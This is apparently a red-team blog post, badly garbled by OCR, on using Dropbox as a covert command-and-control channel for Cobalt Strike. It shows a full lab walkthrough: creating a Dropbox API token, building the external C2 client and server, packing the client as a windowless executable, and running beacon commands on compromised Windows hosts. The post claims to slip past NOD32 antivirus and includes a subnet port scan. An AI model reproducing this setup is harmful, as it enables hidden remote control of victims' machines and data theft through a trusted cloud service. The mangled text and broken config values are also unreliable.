MITRE | ATT&CK H13Tih

https://huntingday.github.io/

%I F Dropbox H%; C2 &

REF ARE

> JEM— dropbox IKS, SEMANIGECE , BE/E BIE—> app, FF UL app & — token

> Tm/g, %] external_c2_framework B3X T client F server Xf578YHIA R L5 ARG RIKI R iEHY token
> 17 client BXTHY compile_d1l.sh HIRKA X NAY d1l [FERGHEF LI mingw EME]

> A pyinstaller ¥4 dbox_client.py BIAFTEAS exe

> ZEHE| cs BEZFN external _c2_framework HZ T HY start_externalc2.cna f)&, 7 25 server
> &G, BTE5R dbox_client.exe X2 BHir#laF Li1T beacon IEHE E%

>

BOHTAR nod32 HiTHR RN

RTIFR
Kali 192.168.126.137 cs FRAARSEEF + server in[ MR L+, Tl IMZ B CH vps]
Mary-Pc 192.168.126.179 HARMAML + client i

Pentest-Srv  192.168.126.176 H#rRSss + client if

oxol1 IEf# DropC2 AR EITRE
HIXTEEZHEANIEEF/W T, BEHE, AKEREMEBIE dropbox FINEIEX AL INSEIL client F server Z B BRI, RIGHRYE server HX THY config.py ff
RAPEFENIFR c2 #illh, s A [FUAR 127.0.0.1 19 2222 g A, (REE T UBEX ]S 2 # 17X B, R @ENIEE B, KR I U—F T EFMRBRLE, EDAKE SHER,

i client S£IREIEEZ] dropbox B, JAf5 server F 2 dropbox EEL



1.Create a new file in Dropbox with key 'AGENT:$UUID' 2.Discover AGENT file, register with self, delete Agent file

Then retrieve task from Team Server

¢

4. Poll Dropbox for new files entitled '$UUID: TaskForYou'

3. Create a file in dropbox with key '$UUID: TaskForYou'
with contents for client to execute.

1

5.Download object and read data with '$UUID:TaskForYou',
delete file and execute body contents.

B.Create file with key '$UUID:RespForYou' with
results of task execution

!

7.Poll for '$UUID:RespForYou' and deliver results to
team server

1111

Dropbox

Continue polling for tasks

\ External C2 Team Server /

ox02 FrnmHim —EEF T
SEM—> dropbox kS, FFRREMNER, #iT - ELENVIRHEE

https://www.dropbox.com

& app [api], BT

https://www.dropbox.com/developers/apps/create
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Create a new app on the DBX Platform

Dropbox Business API
For apps that need access to Dropbox

Business team info. Learn more

APl v2 1. Choose an API
My apps
AP Explorer
_ Dropbox AP A=
Documentation
®  For apps that nead to access files in @
HTTP Dropbox, Learn mare L
MNET
lava
Javascript
2. Choose the type of access you need
Python
Swift

Learn more about access types

Objective-C

Community SDKs

References

App folder - Access to a single folder created specifically for your app.

Getting Started =

Full Dropbox - Access to all files and folders in a user's Dropbox.

Authentication types

Brandin

g

Buide

Content hash

Data ingress guide

Mamespace guide nosir110

Content access guide
Developer guide
CAuth guide

v2 migration guide

Webhooks

3. Name your app

F I app £ — token, #iE, BT EZEEZEEEXD

3

Setti Branding
APIVE ettings randing
My apps
AP Explorer
Status

Documentation

HTTP
NET Development users
Java
avascript 2
JSNEETIR Permission type
Python
Swift

App key
Objective-C '

App secret
Community SDKs

References
OAuth 2

Getting Started
Authentication types
Branding guide
Content hash

Data ingress guide
Mamespace guide
Centent access guide
Developer guide
OAuth guide

v2 migration guide

ox03 FLE client i

Analytics

Development

Only you

Full Dropbox

ksdcaj29xwhobwd

Show

Redirect URIs

https:// (http allowed for localhost)

Allow implicit grant

Allow -

|Generated access token |

token it dropbox FF A1+ 4 £

Apply for production

| Enable additional users

Add |

I 2o ALAAAASAAAL

This access token can be used to access your account (klionsec@gmail.com) via the API. Don't

share your access token with anyone.

+ Server i [ HIXEES5HIZ] client F server 3F R AIHIA X FHMAINIAY dropbox token ]



T# external c2 framework FZg%E client i B3 A dbox_client.py BIZA, ARI0_EEERIFH token B|II T E
# git clone https://github.com/Truneski/external c2 framework.git
# cd external c2_ framework/

# vi builds/client/dbox/dbox_client.py

255 Token with full access

2 beaconId striuuid.uuid4())
taskKeyName beaconId + ':T
respkeyMName beaconId + ':RespFor
dbx = dropbox.Dropbox(token)

&, % server ym HXT, 4548 transport_dbox. py BIARINEFEHY token, server M client FumhY token MII5E £ —E, NRBUSIETIREIE 1

# vi builds/server/utils/transports/transport_dbox.py

# Configure Dropbox Access Token with full a
2 token = _

dbx = dropbox.Dropbox(token)

taskKeyName 'Ta ;
respkKeyName 'Re

i/, 4403 %] client B3 TH11T compile_dl1l.sh HIARGRFEMNNE dI1DFR, AT EBITS AL R mingw RiIFNE, REL, WAL T , RKIFEITRE]
# cd builds/client/dbox
# chmod +x compile dll.sh

# ./compile _dll.sh
o @

fhnm&fexternal_ci_frémewurk!huildsf:lientﬁdhox => 1s
c2file.dll c2file dll.c c2file dll.h compile_dll.sh dbox client.py

fhnmefexternal_ci_frémewurk!huildsfclient!dhox =2

&/E,f client BRMEBNBEXEELIRS py FTEIMEA windows Mzt [ FTEREERGF XN python fRAR) pywin32 #l pyinstaller], Ib4b2 win7 32 fi, FFA1E R, XA d11
& 32, TRUTEMNRZ SV ER 32 1Y, AARRF IR
# pip install pyinstaller

# pip install dropbox



IC:\>pip install dropbox
Requirement already satisfied:
Requirement already satisfied:
Requirement already satisfied:
||[Requirement already satisfied:
.16.2->dropbox)

Requirement already satisfied:
»>=2.16.2->dropbox)

Requirement already satisfied:
2->dropbox)

Requirement already satisfied:
>=2.16.2->dropbox)

dropbox in c:\python27\1lib\site-packages

requests>»=2.16.2 in c:\python27\1lib\site-packages (from dropbox)
six>=1.3.0 in c:\python27\lib\site-packages (from dropbox)
certifi»>=2017.4.17 in c:\python27\lib\site-packages (from requests>=
chardet<3.1.8,>=3.08.2 in c:\python27\1lib\site-packages (from requests
idna<2.8,»>=2.5 in c:\python27\1lib\site-packages (from requests>=2.16.

urllib3<1.25,>=1.21.1 in c:\python27\lib\site-packages (from requests

You are using pip version 9.0.3, however version 18.1 is available.

You should consider upgrading via the 'python -m pip install

C:\>pip install pyinstaller
Requirement already satisfied:
l[Requirement already satisfied:
Requirement already satisfied:
Requirement already satisfied:
Requirement already satisfied:
Requirement already satisfied:
Requirement already satisfied:
Requirement already satisfied:
taller)

--upgrade pip' command.

pyinstaller in c:\python27\lib\site-packages

setuptools in c:\python27\lib\site-packages (from pyinstaller)
pefile>=2017.8.1 in c:\python27\1lib\site-packages (from pyinstaller)
macholib>=1.8 in c:\python27\lib\site-packages (from pyinstaller)
altgraph in c:\python27\1lib\site-packages (from pyinstaller)

dis3 in c:\python27\lib\site-packages (from pyinstaller)
pywin32-ctypes in c:\python27\lib\site-packages (from pyinstaller)
future in c:\python27\lib\site-packages (from pefile>=2017.8.1->pyins

You are using pip version 9.0.3, however version 18.1 is available.

You should consider upgrading via the 'python -m pip install

C:\>

--upgrade pip' command.

AR RBILER B, BT DU AN T -w 130, BAIAZ console &Y

# pyinstaller.exe -w -F C:\client\dbox\dbox client.py

r

. BN Administrator: Command Promp

C:\Python27\Scriptsjpyinstaller.exe -w -F C:\client\dbox\dbox_client.py
PyInstaller: 3.
Python: 2.7.15
Platform:
wrote C:\Python27\Scripts\dbox_client.spec
UPX is not available.

Extending PYTHONPATH with paths

INFO:
INFO:
INFO:
INFO:
INFO:

46 INFO:

Windows-7-6.1.7601-SP1

["C:\\client\\dbox', 'C:\\Python27\\Scripts']

46 INFO:

INFO:

checking
Building

INFO:

INFO:
INFO:

Analysis

Analysis because Analysis-©@.toc is non existent
Initializing module dependency graph...
Initializing module graph hooks...
running Analysis Analysis-©0©.toc

INFO: Adding Microsoft.VC96.CRT to dependent assemblies of final executable

required by c:\python27\python.exe
125 INFO: Found C:\Windows\WinSxS\Manifests\x86 policy.9.@.microsoft.vc98.crt_1fc8b3b9alel8e3b 9.6.3
18729.1 none_8550c6b5d18a9128.manifest
125 INFO: Found C:\Windows\WinSxS\Manifests\x86 policy.9.@.microsoft.vc98.crt_1fc8b3b9alel8e3b 9.6.3
©729.4148 none_f47elbd6f6571810.manifest
125 INFO: Found C:\Windows\WinSxS\Manifests\x86 policy.9.8.microsoft.vc98.crt_1fc8b3b9alel8e3b 9.6.3
©729.4948 none_f47edef6f6564d90.manifest

11762 INFO:
11762 INFO:
11762 INFO:
11762 INFO:
11762 INFO:
11777 INFO:

Bootloader c:\python27\lib\site-packages\PyInstaller\bootloader\Windows-32bit\runw.exe
checking EXE

Building EXE because EXE-©©.toc is non existent

Building EXE from EXE-©©.toc

Appending archive to EXE|C:\Python27\Scripts\dist\dbox client.exe

Building EXE from EXE-©©.toc completed successfully.

C:\Python27\Scripts>

KER ERFITENREDR T IS E ico, AARANNEIRELEEZR Birtlst EMRREZHEEL K



Organize = Include in library - Share with = Mew folder

e

; Mame Date modified
I Favorites

Bl Desktop e dbox_client 12/8/2018 8:04 PM
& Downloads

ox04 H1TSFRAY L LM

B cs HBAAR S 2%, €I L ras, I http

Event Log X | Listeners X | sScripts X|

name payload host port beacons
dropbox windows/beacon_httpfreverse_http 192.168.126.137 8080 192.168.126.137

nE;_E AR start_externalc2.cna A, IEHRINEFIBAR S s A S —A> 2222 fim O, XD O w2 server # cs FRARS S AR EEEHIERAMN

Event Log X | Listeners X | Scripts K|

path ready
fhomejexternal c2 frameworkjbuilds/start_externalcz.cna o

15505F =, external_c2_framework By server 1 cs FIPARR S 23 O] IAARFER —GHes L, SR, AT E2EEIECMNEHREE—&V5 L7, E2HE)TE c2 B ANk ER T [ F)
config.py FIAAH K

# vi builds/server/config.py

§ # Address of External
EXTERNAL C2 ADDR =

# Port of exte L
EXTERNAL C2 PORT =

2 # The name ot the plpe hat the beacon should use

C2 PIPE NAME

# A time in milliseconds that indicates how long the External C2 should block when no
C2 BLOCK TIME = 1

before polling the server for new tasks/re

IDLE TIME = 5

%)

ENCODER MODULE =
TRANSPORT MODULE

[ 5 I N 'Y

~ o

[#n]

2
2
2
s
2
2
2
£
2

w

W
(3]

[#¥]
o el

debug = False

LJ



E AL, —VIEESHE, WAERKE TREAN LLUR, F—F, £IL server £iEk
# python builds/server/dbox_server.py -v

- @ -~ f y y
/home/external_c2_framework => python builds/server/dbox server.py -v
Importing encoder module: encoder b64url
Importing transport module: transport dbox
[+] Discovered new Agent in bucket:]|64f87552-84cc-4328-aal6-90d2a936e91e
[+] Returning 1 beacons for first-time s
Configuring stager options
Encoding stager payload
Sending stager to client
In Sending Data Function
Awaiting metadata response from client
Task response file: 64f87552-84cc-4328-aal6-90d2a936e91e:RespForYou:606d838d-5c74-4d60-98c2-22Ta321bt44d
Reading Task Response from: 64f87552-84cc-4328-3al6-90d2a936e9]e:RespForYou:606d838d-5c74-4d660-98c2-22Ta321bf44d
Sending metadata to c2 server
[+] Established new session 64f87552-84cc-4328-aal6-90d2a936e91e. Staring task loop.
Checking the c2 server for 64f87552-84cc-4328-aal6-90d2a936e91e tasks...
In Sending Data Function
Checking 64f87552-84cc-4328-aal6-90d2a936e91e for a response...

5, ZBirtlar LT client im, B A ZBIAEFT ERIBHMEIN LT -w IEI, Fr AR E A2 H % HY, SKERP B Rt AN E BRI H T b

ER Administrator: Command Prompt

C:\>dbox_client.exe

C:\>

AHBSNYBERT, LR NIZR T UEH BSER L& T, H3ERT, IPM ELEENTe CHN A ENEESERILFNERZMNL , iIANEENANEELEER 7, ANEER

5 A —>K task




DR O E=Z¢ B8ELPLU BN o B G

external internal = user computer note pid last
PENTEST-SRV 2m
MARY-PC 3884 1m

5
5

192.168.126.179 Adm

e

Event Log X | Listeners X | Scripts X | Beacon 182.168.126.176@3588 X | Beacon 192.168.126.179@3884 X

beacon> shell ver

[*] Tasked beacon to run: ver

[+] host called home, sent: 11 bytes
[+] received output:

Microsoft Windows |[hed 6.1.7601]

beacon> shell systeminfo

[*] Tasked beacon to run: systeminfo
[+] host called home, sent: 18 bytes
beacon> sleep 0

[*] Tasked beacon to become interactive
[+] received output:

FHE: PENTEST-5SRV
0S Bk : Microsoft Windows Server 2008 R2 Datacenter
0S R4 6.1.7601 Service Pack 1 Build 7601
0S wHilxE - Microsoft Corporation
0S P8 : 7RSS EE
0S #fFzLE: Mul tiprocessor Free
EMBIER B A - Windows FBF
AR B9LELER -
e ID: 00496-001-0001283-84189
T EEA: 2018/10/17, 16:50:59
2B e : 2018/12/9, 12:22:28
H SR - Vidware, Inc.
RifHIS - Vidlware Virtual Platform
2% e Sill x64-based PC
RHIRES - THRT 2 aiees,
[01]: Intel64 Family 6 Model 158 Stepping 9 Genuinelntel ~3696 Mhz

M T ME R BRI T BI XXf , B R ITR— task B B FIIEIZ task BXHETHE, E3 TRBHITRIN— task S BEFHOBE— NI

oo e
b Dropbox Q g%
SopyTE &  1c75496f-3f17-4211-9e35-d0c...fd-40c6-975d-6023fcd54d2 2 /hatHl MREEE

MR 4  d0d67081-7201-43be-84fa-60...0-45ec-8001-e4968dd73bal3 1 #hED NREZEES

XAF—RANE, (RN ER RIS R ES B TREMXM, ILFEMMER TLEF , ARG, 127 R 5T




33 DRSS

FEESEIRECMRIE ? TRES

ik

s
e}

4  d0d67081-7201-43be-84fa-60ce3ddab1d7. TaskForYou:lad3eb27-fab1-45c1-9aeb-b44a.. JI2 ¥4

4  d0db67081-7201-43be-84fa-60ce3ddab1d7:RespForYou:226417a6-97e0-45ec-8001-e4... |19 i

<  d0d67081-7201-43be-84fa-60ce3dda51d7: TaskForYou:c2c53d29-e899-41bc-98fe-fde... 52 #hdaT

<  d0d67081-7201-43be-84fa-60ce3dda51d7:RespForYou:d6ce6321-8f78-41cd-b29a-bbf... U0 #o5han

<  d0d67081-7201-43be-84fa-60ce3ddab1d7: TaskForYou:4d44cef3-2eb2-4500-b67e-db... 5 #44E0

<  d0d67081-7201-43be-84fa-60ce3dda51d7:RespForYou:070dabd0-3088-4582-a37d-8... |l 588

&  d0d67081-7201-43be-84fa-60ce3ddabid7 TaskForYou:9b250f51-afbe-41be-b20c-cea... || Z5EFED

=

= d0dRTOR1-T201-43he _R4fa-A0ceAddafid7 - ResnFarYnu RAFddTAR-A020-A82F Ohd2-R2 § <vehEd

ox05 EEHFTARAY nod32 K IFFRMIK T AR BR
MR, EE L4, REELIE nod BEES IR EFHEEI, hids hEFF 2, AT A4, S| LT EFZET . ..

# shell tasklist | findstr /c:"ekrn.exe" /c:"egui.exe"

DR O E=¢ B8ELPUZXeBEDN s B G
external internal = user computer note pid last
192.168.126.179 Administrator * MARY-PC

sleep O
ked beacon to become interactive
ost called home, sent: 16 bytes
beacon> shell tasklist | findstr /c:"ekrn.exe" /c:"egui.exe"

[*] Tasked beacon to run: tasklist | findstr /c:"ekrn.exe" /c:"egui.
[+] host called home, sent: 54 bytes
received output:

FIlE SRS R BRI, b, BUF, T o UEE, LA HY nod R AL

beacon> screenshot 3052 x86 1



DR O EH=Z¢ B8ILPLU Xl fa B

external internal = user computer note pid last

192,168.126,179 Administrator * MARY-PC

= -

Event Log X | Listeners X | Scripts X | Beacon 192 168.125.179@656 X Screenshots X

user comp... pid when
Admi... MARY-.. 656 12/09...

NOD32 ANTIVIRUS
i ®

A FO B

O, HEHEE iR

O B

= TE

# HE

© Il

B¥ Administrator: Command Prompt

C:\>dbox_client.exe

TEIRETARTE 2 [oh

BoREIA Tim D348, IR —HF, LA nod B3 hids {RIBAERIRREL, BXBAVIE, AR T IAFEZFRMIRX T nod32 6.x B9 WAk, FHESN, NiZth 2RFANR, ETER AV 5 E
AR, NiZ R ERIT i
beacon> portscan 192.168.126.0/24 445 none 128

0B 0 E=¢ BL,L SwhD da B o

external internal = user computer note pid last

= =
= }s: s “ Al =10 - F Bob

o

Event Log X | Listeners X | Scripts X | Beacon 192.168.126.179@656 X|
beacon> portscan 192.168.126.0/24 445 none 128
[*] Tasked beacon to scan ports 445 on 192.168.126.0/24
[+] host called home, sent: 75325 bytes

[+] received output

192.168.126.175:445
192.168.126.179:445 (platform: 500 version: 6.1 name: MARY-PC domain: WORKGROUP)
Scanner module is complete

ING:

BEIEAA XD, B NMREZNEIR, R BB REES LM, B IEE75E dropbox FfT[EE RN TR T LRE ], ARBIEEZ X L4, ILoh, client BFRE M
EATH,win7,8.1,10,2008r2 IR G L& 0@, i SLiA, LR [ BREE =R EMERE A EL TN EL TN FRHE[ RN CERBATER, R AEA ZR], XHT, R 7 o P&
AEELBEEECHBWENRR, TE—EEE LNREBC, Bk dropbox Z 5, ) gmail, W5, BIFEEAAFELEMNE, BRFEHEE o DU#HTROUF B, h 8557 —H, domain
fronting [ZBIELFEMANE, WEABER]. . MARRFFHFWHZHRERESHA], Binpah— BECHES EXMIHAERIEREML T, RA, BT UBEX cs profile,
EBIIARFANEEZE, ELHHERUR T, Rl U —EITRFIINE. . -
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